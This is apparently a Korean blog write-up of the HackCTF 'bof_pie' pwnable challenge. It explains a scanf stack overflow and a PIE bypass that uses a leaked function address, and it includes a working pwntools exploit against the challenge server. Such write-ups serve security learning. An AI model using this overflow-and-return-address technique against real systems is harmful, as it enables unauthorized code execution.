728x90
check
- 32 bit
- NX와 PIE가 설정되어 있다 >>
Analyze
pseudo code
- v1에 ebp로부터 0x12 byte 떨어진 곳에 할당하고 scanf("%s")를 통해 v1의 값을 읽어들인다. 이 때 스택 버퍼 오버플로우 취약성이 발생한다.
- welcome 함수의 주소를 출력한다.
- 아무래도 이 문제의 목표는 Return address를 j0n9hyun으로 하여 플래그를 따는 것 같다!
- welcome 함수의 주소가 매번 출력되기 때문에 그 값을 읽어들이고, j0n9hyun과 welcome의 offset은 항상 같으므로 둘의 차(0x909 - 0x890)를 이용해 j0n9hyun함수를 Return address로 덮는다.
실행
Exploit
from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)
p.recvuntil("j0n9hyun is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - (0x909-0x890)
pl = "A"*(0x12+4)
pl += p32(j0n9hyun)
p.sendline(pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] RTL_World (0) | 2021.02.11 |
---|---|
[HackCTF] Yes or No (0) | 2021.02.11 |
[HackCTF] BASIC_FSB (0) | 2021.02.10 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.02.09 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.02.09 |